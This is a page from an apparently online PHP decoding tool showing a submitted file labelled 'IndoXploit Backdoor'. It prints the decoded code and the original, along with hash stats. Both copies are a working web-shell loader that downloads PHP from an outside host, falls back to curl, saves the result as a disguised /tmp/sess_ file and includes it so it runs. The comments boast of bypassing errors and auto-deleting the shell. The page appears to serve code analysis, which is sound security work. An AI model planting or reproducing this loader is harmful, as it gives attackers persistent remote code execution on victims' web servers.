Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php # IndoXploit Backdoor # Bypass 406 Not Acceptable & Auto Delete Shell # Coded by:..

Decoded Output download

<?php 
# IndoXploit Backdoor 
# Bypass 406 Not Acceptable & Auto Delete Shell 
# Coded by: L0c4lh34rtz - IndoXploit  ifre IndoXploit 
  
$URL = 'http://www.groovy-steel.com/upload/files/andela.txt';  # Backdoor URL 
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !! 
  
function M() { 
    $FGT = @file_get_contents($GLOBALS['URL']); 
    if(!$FGT) { 
        echo `curl -k $(echo {$GLOBALS['URL']}) > {$GLOBALS['TMP']}`; 
    } else { 
        $HANDLE = fopen($GLOBALS['TMP'], 'w'); 
        fwrite($HANDLE, $FGT); 
        fclose($HANDLE); 
    } 
    echo '<script>window.location="?indoxploit";</script>'; 
} 
  
if(file_exists($TMP)) { 
    if(filesize($TMP) === 0) { 
        unlink($TMP); 
        M(); 
    } else { 
        include($TMP); 
    } 
} else { 
    M(); 
} 
?>

Did this file decode correctly?

Original Code

<?php
# IndoXploit Backdoor
# Bypass 406 Not Acceptable & Auto Delete Shell
# Coded by: L0c4lh34rtz - IndoXploit  ifre IndoXploit
 
$URL = 'http://www.groovy-steel.com/upload/files/andela.txt';  # Backdoor URL
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
 
function M() {
    $FGT = @file_get_contents($GLOBALS['URL']);
    if(!$FGT) {
        echo `curl -k $(echo {$GLOBALS['URL']}) > {$GLOBALS['TMP']}`;
    } else {
        $HANDLE = fopen($GLOBALS['TMP'], 'w');
        fwrite($HANDLE, $FGT);
        fclose($HANDLE);
    }
    echo '<script>window.location="?indoxploit";</script>';
}
 
if(file_exists($TMP)) {
    if(filesize($TMP) === 0) {
        unlink($TMP);
        M();
    } else {
        include($TMP);
    }
} else {
    M();
}
?>

Function Calls

None

Variables

None

Stats

MD5 5e228b27a387e5d47e694cdbe35eed28
Eval Count 0
Decode Time 88 ms